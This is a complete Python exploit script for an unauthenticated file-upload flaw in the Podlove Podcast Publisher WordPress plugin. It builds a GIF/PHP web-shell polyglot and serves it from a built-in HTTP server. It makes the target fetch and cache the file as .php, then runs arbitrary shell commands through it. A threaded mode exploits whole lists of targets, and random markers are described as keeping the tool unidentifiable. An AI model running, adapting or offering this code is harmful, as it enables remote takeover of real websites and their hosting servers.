Podlove Podcast Publisher 4.5.1 Shell Upload

#!/usr/bin/env python3
    """
    CVE-2026-13001 - Podlove Podcast Publisher (WordPress) unauthenticated arbitrary
    file upload leading to remote code execution.
    
    Affected: Podlove Podcast Publisher <= 4.5.1 (fixed in 4.5.2)
    Type: RCE (unauthenticated arbitrary file upload / extension-confusion)
    
    Root cause: two parts of the plugin derive a "file extension" from the same
    attacker-supplied source URL with two different parsers that disagree. The
    security check (is_image via wp_check_filetype_and_ext) inspects the tail of the
    whole URL string, so a query like "?.gif" makes "shell.php?.gif" look like a GIF
    and passes the denylist. The on-disk name comes from extract_file_extension(),
    which parses only the URL *path* and yields ".php". A GIF/PHP polyglot is written
    as <name>_original.php inside wp-content/cache/podlove/ (no execution guard) and
    then runs when requested over HTTP.
    
    The plugin fetches the source URL server-side through wp_safe_remote_get(), so the
    polyglot must be served from a host WordPress will accept: outside 127.0.0.0/8,
    10.0.0.0/8, 0.0.0.0/8, 172.16.0.0/12 and 192.168.0.0/16, on port 80, 443 or 8080.
    This tool serves the polyglot from a built-in HTTP server by default; use
    --payload-url when an origin is already serving it (e.g. a staging box you control).
    
    Usage:
      # Built-in payload server (needs a routable, non-private callback address):
      python exploit.py --host target.example.com --command "id"
      python exploit.py --host https://target.example.com --callback-host 203.0.113.10
    
      # Use an origin that is already serving the polyglot (skip the built-in server):
      python exploit.py --host target.example.com --port 80 \
          --payload-url http://203.0.113.10:8080/x.php?.gif \
          --payload-write /var/www/html/x.php
    
      # Batch scan:
      python exploit.py --list targets.txt --callback-host 203.0.113.10 --workers 20
    """
    
    import argparse
    import hashlib
    import http.client
    import http.server
    import re
    import secrets
    import socket
    import ssl
    import sys
    import threading
    import urllib.parse
    
    CVE_ID    = "CVE-2026-13001"
    VULN_TYPE = "RCE"
    
    # Minimal valid 1x1 GIF89a. Small dimensions on purpose: a bare "GIF89a<?php"
    # stub parses as a giant image and makes the server's resize path do pointless
    # work, whereas a well-formed 1x1 header is trivial to accept.
    _GIF_1x1 = bytes.fromhex(
        "47494638396101000100800000"        # GIF89a header, 1x1, global colour table
        "000000ffffff"                      # 2-entry colour table
        "21f9040100000000"                  # graphic control extension
        "2c00000000010001000002024401003b"  # image descriptor + LZW data + trailer
    )
    
    
    # --------------------------------------------------------------------------- #
    #  Output helpers (console only - never sent to the target)
    # --------------------------------------------------------------------------- #
    def header(host: str, port: int) -> None:
        print(f"\n{'='*60}")
        print(f"  ALIM EXPLOIT  {CVE_ID}")
        print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
        print(f"{'='*60}\n")
    
    
    def step(n: int, msg: str) -> None:
        print(f"[STEP {n}] {msg}")
    
    
    def section(label: str, content: str) -> None:
        print(f"\n--- {label} ---")
        print(str(content).strip())
        print("---\n")
    
    
    def done(success: bool, evidence: str) -> None:
        print(f"\n{'='*60}")
        print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
        print(f"  EVIDENCE: {evidence}")
        print(f"{'='*60}\n")
        sys.exit(0 if success else 1)
    
    
    # --------------------------------------------------------------------------- #
    #  Polyglot
    # --------------------------------------------------------------------------- #
    class Polyglot:
        """A GIF/PHP polyglot with per-run random command parameter and markers.
    
        Using random values keeps nothing brand- or tool-identifiable on the wire or
        on disk: the parameter name, the markers and the payload path are all random
        hex, recognisable only to the script that generated them.
        """
    
        def __init__(self):
            self.param = "q" + secrets.token_hex(3)     # GET key the payload reads
            self.pre   = secrets.token_hex(8)           # brackets the command output
            self.post  = secrets.token_hex(8)
            php = "<?php echo '%s'; system($_GET['%s']); echo '%s'; ?>" % (
                self.pre, self.param, self.post,
            )
            self.bytes = _GIF_1x1 + php.encode()
    
        def extract_output(self, body: bytes):
            """Return the command output if the PHP block executed, else None.
    
            When PHP executed, the body is  <gif bytes><pre><output><post>.
            When it did NOT (file served verbatim, PHP disabled, or patched build
            served a static .gif), the body still literally contains the marker
            strings inside the un-run source - so we reject any body that still holds
            the raw '<?php'/'system(' source text.
            """
            if b"<?php" in body or b"system(" in body:
                return None
            pre  = self.pre.encode()
            post = self.post.encode()
            i = body.find(pre)
            j = body.find(post, i + len(pre)) if i != -1 else -1
            if i == -1 or j == -1:
                return None
            return body[i + len(pre):j]
    
    
    # --------------------------------------------------------------------------- #
    #  Built-in payload HTTP server
    # --------------------------------------------------------------------------- #
    class _PayloadHandler(http.server.BaseHTTPRequestHandler):
        payload = b""
    
        def do_GET(self):                       # noqa: N802 (stdlib naming)
            self.send_response(200)
            self.send_header("Content-Type", "image/gif")
            self.send_header("Content-Length", str(len(self.payload)))
            self.end_headers()
            self.wfile.write(self.payload)
    
        def log_message(self, *args):           # silence the default access log
            pass
    
    
    def start_payload_server(bind: str, port: int, payload: bytes):
        """Start a threaded HTTP server serving `payload` for any GET. Returns it."""
        handler = type("_H", (_PayloadHandler,), {"payload": payload})
        srv = http.server.ThreadingHTTPServer((bind, port), handler)
        srv.daemon_threads = True
        threading.Thread(target=srv.serve_forever, daemon=True).start()
        return srv
    
    
    def guess_callback_host(target_host: str, target_port: int) -> str:
        """Best-effort local address the target could use to reach us."""
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            s.connect((target_host, target_port))
            ip = s.getsockname()[0]
            s.close()
            return ip
        except Exception:
            return socket.gethostbyname(socket.gethostname())
    
    
    # --------------------------------------------------------------------------- #
    #  HTTP + exploit primitives
    # --------------------------------------------------------------------------- #
    def _http_get(host, port, use_tls, raw_path, timeout=30):
        """Single GET, no redirect following. Returns (status, body)."""
        if use_tls:
            ctx = ssl.create_default_context()
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
        else:
            conn = http.client.HTTPConnection(host, port, timeout=timeout)
        try:
            conn.request("GET", raw_path)
            resp = conn.getresponse()
            body = resp.read()
            return resp.status, body
        finally:
            conn.close()
    
    
    def _sanitize_file_name(name: str) -> str:
        """Mirror the plugin: sanitize_title + ASCII translit + [^-a-z0-9_] strip."""
        return re.sub(r"[^-a-z0-9_]+", "", name.lower())
    
    
    def _cache_path(source_url: str, file_name: str, ext: str) -> str:
        """The fully predictable cache path the plugin writes to.
    
        id = md5(raw source_url + sanitized file name); the file lands at
        wp-content/cache/podlove/<id[:2]>/<id[2:]>/<name>_original.<ext>
        """
        digest = hashlib.md5((source_url + file_name).encode()).hexdigest()
        return "/wp-content/cache/podlove/%s/%s/%s_original.%s" % (
            digest[:2], digest[2:], file_name, ext,
        )
    
    
    def _attempt(host, port, use_tls, base_path, source_url, poly, command, timeout=30):
        """Silent core: trigger the cache write, then execute. Returns a dict."""
        out = {
            "trigger_status": None, "write_confirmed": False,
            "cache_url": None, "exec_status": None, "gif_status": None,
            "output": None, "success": False, "evidence": "",
        }
    
        file_name = "i" + secrets.token_hex(6)          # sanitized-safe, random
        hexed = source_url.encode().hex()
    
        # 1. Trigger the server-side fetch + write. base_path is any front-end URL.
        sep = "&" if "?" in base_path else "?"
        trigger = "%s%spodlove_image_cache_url=%s&podlove_file_name=%s" % (
            base_path, sep, hexed, file_name,
        )
        t_status, t_body = _http_get(host, port, use_tls, trigger, timeout)
        out["trigger_status"] = t_status
        # With no width/height the handler readfile()s the freshly written file back,
        # so the raw polyglot (incl. literal "<?php") in the body proves the write.
        out["write_confirmed"] = b"GIF8" in t_body and b"<?php" in t_body
    
        # 2. Execute: request the .php cache file directly (Apache runs the PHP).
        php_path = _cache_path(source_url, file_name, "php")
        out["cache_url"] = php_path
        exec_path = "%s?%s=%s" % (php_path, poly.param, urllib.parse.quote(command))
        e_status, e_body = _http_get(host, port, use_tls, exec_path, timeout)
        out["exec_status"] = e_status
    
        output = poly.extract_output(e_body)
        if e_status == 200 and output is not None:
            out["output"] = output
            first = output.strip().splitlines()[0].decode(errors="replace") if output.strip() else "(empty)"
            out["success"] = True
            out["evidence"] = "RCE confirmed - '%s' output: %s" % (command, first)
            return out
    
        # Not executed. Probe the .gif twin to tell 'patched' from 'broken'.
        gif_path = _cache_path(source_url, file_name, "gif")
        g_status, _ = _http_get(host, port, use_tls, gif_path, timeout)
        out["gif_status"] = g_status
        if e_status == 404 and g_status == 200:
            out["evidence"] = "not vulnerable - content-derived .gif written, .php 404 (patched)"
        elif e_status == 200:
            out["evidence"] = "file written but PHP not executed (execution disabled under wp-content?)"
        else:
            out["evidence"] = "no execution evidence (.php %s, .gif %s)" % (e_status, g_status)
        return out
    
    
    # --------------------------------------------------------------------------- #
    #  Payload origin setup (built-in server vs external URL)
    # --------------------------------------------------------------------------- #
    def setup_origin(args, poly):
        """Return (source_url, server_or_None).
    
        Either point at an operator-supplied origin (--payload-url) or start a local
        HTTP server and build a source URL that reaches it. The URL always has a path
        ending in .php (becomes the on-disk extension) and a query ending in .gif
        (defeats the extension denylist).
        """
        if args.payload_write:
            with open(args.payload_write, "wb") as fh:
                fh.write(poly.bytes)
    
        if args.payload_url:
            return args.payload_url, None
    
        cb_host = args.callback_host or guess_callback_host(
            args.host or "127.0.0.1", args.port,
        )
        srv = start_payload_server(args.callback_bind, args.callback_port, poly.bytes)
        path = "/" + secrets.token_hex(6) + ".php"
        source_url = "http://%s:%d%s?.gif" % (cb_host, args.callback_port, path)
        return source_url, srv
    
    
    # --------------------------------------------------------------------------- #
    #  Scan mode
    # --------------------------------------------------------------------------- #
    def _parse_target(line: str, default_port: int, default_path: str = "/"):
        """One target line -> (host, port, use_tls, path), or None to skip."""
        line = line.strip()
        if not line or line.startswith("#"):
            return None
        if line.startswith(("http://", "https://")):
            p = urllib.parse.urlparse(line)
            tls = p.scheme == "https"
            path = p.path if (p.path and p.path not in ("", "/")) else default_path
            return p.hostname, p.port or (443 if tls else default_port), tls, path
        if ":" in line:
            parts = line.rsplit(":", 1)
            try:
                port = int(parts[1])
                return parts[0], port, port in (443, 8443), default_path
            except ValueError:
                pass
        return line, default_port, default_port in (443, 8443), default_path
    
    
    def _try_exploit(host, port, use_tls, path, source_url, poly, command):
        """Silent probe for scan mode. Returns (success, evidence). Never prints."""
        try:
            r = _attempt(host, port, use_tls, path, source_url, poly, command)
            return r["success"], r["evidence"]
        except Exception as e:
            return False, "unreachable (%s)" % e.__class__.__name__
    
    
    def scan(args, poly, source_url):
        import concurrent.futures
    
        with open(args.list) as f:
            targets = [_parse_target(l, args.port) for l in f]
        targets = [t for t in targets if t is not None]
    
        print(f"\n{'='*60}")
        print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {args.workers} workers)")
        print(f"{'='*60}\n")
    
        success_count = 0
    
        def probe(t):
            host, port, use_tls, path = t
            label = f"{'https' if use_tls else 'http'}://{host}:{port}"
            ok, evidence = _try_exploit(host, port, use_tls, path, source_url, poly, args.command)
            return label, ok, evidence
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=args.workers) as ex:
            futures = {ex.submit(probe, t): t for t in targets}
            for fut in concurrent.futures.as_completed(futures):
                label, ok, evidence = fut.result()
                print(f"  {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
                if ok:
                    success_count += 1
    
        total = len(targets)
        print(f"\n{'='*60}")
        print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
        print(f"{'='*60}\n")
        sys.exit(0 if success_count > 0 else 1)
    
    
    # --------------------------------------------------------------------------- #
    #  Single-target exploit
    # --------------------------------------------------------------------------- #
    def exploit(host, port, use_tls, path, source_url, poly, command):
        header(host, port)
    
        step(1, "Payload origin: %s" % source_url)
        step(2, "Triggering server-side fetch + cache write (unauthenticated)...")
    
        r = _attempt(host, port, use_tls, path, source_url, poly, command)
    
        print("        trigger -> HTTP %s%s" % (
            r["trigger_status"],
            "  (write confirmed: file readfile()d back)" if r["write_confirmed"] else "",
        ))
        step(3, "Requesting the written cache file to execute PHP...")
        print("        %s -> HTTP %s" % (r["cache_url"], r["exec_status"]))
    
        if r["success"]:
            section("COMMAND OUTPUT", r["output"].decode(errors="replace"))
            done(True, r["evidence"])
    
        if r["gif_status"] is not None:
            print("        %s -> HTTP %s" % (r["cache_url"][:-4] + ".gif", r["gif_status"]))
        done(False, r["evidence"])
    
    
    # --------------------------------------------------------------------------- #
    #  CLI
    # --------------------------------------------------------------------------- #
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
        target_grp = parser.add_mutually_exclusive_group(required=True)
        target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host/path)")
        target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
        parser.add_argument("--port",    type=int, default=80,   help="Target port (default: 80)")
        parser.add_argument("--command", default="id",           help="Command to execute on the target (default: id)")
        parser.add_argument("--workers", type=int, default=10,   help="Threads for --list mode (default: 10)")
    
        parser.add_argument("--callback-host", default=None,
                            help="Address the TARGET uses to reach our payload server. "
                                 "Must be routable and non-private (default: auto-detect).")
        parser.add_argument("--callback-port", type=int, default=8080,
                            help="Port for the built-in payload server; must be 80, 443 or 8080 "
                                 "(WordPress rejects other ports). Default: 8080")
        parser.add_argument("--callback-bind", default="0.0.0.0",
                            help="Local bind address for the built-in payload server (default: 0.0.0.0)")
        parser.add_argument("--payload-url", default=None,
                            help="Use an origin that is ALREADY serving the polyglot instead of "
                                 "starting the built-in server. Path must end in .php, query in .gif "
                                 "(e.g. http://203.0.113.10:8080/x.php?.gif).")
        parser.add_argument("--payload-write", default=None, metavar="PATH",
                            help="Also write the generated GIF/PHP polyglot to PATH "
                                 "(stage it into a web docroot you control).")
    
        tls_grp = parser.add_mutually_exclusive_group()
        tls_grp.add_argument("--tls",    action="store_true", help="Force TLS")
        tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
        args = parser.parse_args()
    
        poly = Polyglot()
        source_url, server = setup_origin(args, poly)
    
        if args.list:
            scan(args, poly, source_url)
        else:
            parsed = _parse_target(args.host, args.port)
            host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
            if args.tls:    use_tls = True
            if args.no_tls: use_tls = False
            exploit(host, port, use_tls, path, source_url, poly, args.command)